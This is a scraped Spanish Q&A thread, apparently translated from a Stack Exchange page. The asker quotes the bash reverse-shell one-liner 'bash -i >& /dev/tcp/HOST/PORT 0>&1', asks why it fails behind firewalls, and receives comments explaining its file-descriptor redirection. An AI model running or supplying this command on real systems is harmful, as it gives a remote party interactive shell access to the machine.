Lo intenté
bash -i >& /dev/tcp/HOST/PORT 0>&1
pero no parece funcionar detrás de los firewalls. ¿Qué hace realmente este código, qué puertos se reenvían y podría funcionar detrás de los firewalls?
bash
io-redirection
tcp
Helos
fuente
fuente
/dev/tcp/HOST/PORT
? Supuse que había reemplazado un nombre porHOST
y un número porPORT
. De lo contrario, recibirá un mensaje de error de bash. Como no mencionó ningún mensaje de error, supongo que no vio ninguno.0<&1
parte. Lo leí como 'tomar bash stdout (&1
) y conectarlo a bash stdin (0
)', lo cual tiene sentido. ¿Puede explicar cómo funciona esta parte?0<&1
significa conectar lo que esté abierto actualmente en el descriptor de archivo 1 al descriptor de archivo 0. Dado que la redirección anterior>& /dev/tcp/HOST/PORT
conectó fd 1 (el valor predeterminado para una redirección de salida) a/dev/tcp/HOST/PORT
, es decir, abrió un socket TCP, esto duplica la conexión TCP al descriptor de archivo 0 (es decir, el el mismo socket ahora también está abierto en fd 0, esto es diferente de 0 </ dev / tcp / HOST / PORT que abriría un socket diferente al mismo servidor).